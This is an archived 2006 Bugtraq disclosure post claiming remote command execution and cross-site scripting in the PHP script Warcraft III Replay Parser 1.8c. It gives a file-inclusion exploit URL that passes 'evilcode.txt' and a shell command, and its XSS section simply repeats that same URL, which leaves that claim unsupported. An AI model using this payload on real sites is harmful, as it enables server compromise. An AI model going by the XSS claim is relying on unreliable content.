bugtraq - Warcraft III Replay Parser Script Remote Command Exucetion Vulnerability And Cross-Site Scripting Attacking

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 31 Mar 2006 19:34:40 -0000
From: botan@...uxmail.org
To: bugtraq@...urityfocus.com
Subject: Warcraft III Replay Parser Script Remote Command Exucetion
 Vulnerability And Cross-Site Scripting Attacking

Website : http://toya.net.pl/~julas/w3g/
Version : 1.8c 

Description :

Warcraft III Replay Parser for PHP? What is that? Maybe you know or maybe not that Warcraft III replay files (*.w3g) have much information inside. Almost everything can be pulled out of them: players accounts, races, colours, heroes and units made by each player, chat log and many more. If you are a webmaster of Warcraft III replay site or clan page you know how boring adding new replays can be without automation. This PHP script helps you provide as much information about replays on your site as possible without all the hard work. * 

I. Remote Command Exucetion ..

Yolumuz agitlerin yoludur.!

http://www.site.com/[path]/index.php?page=evilcode.txt?&cmd=uname -a

2.XSS Attacking

http://www.site.com/[path]/index.php?page=evilcode.txt?&cmd=uname -a

Solution : up version :)

Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

14'ler Ölümsüzdür.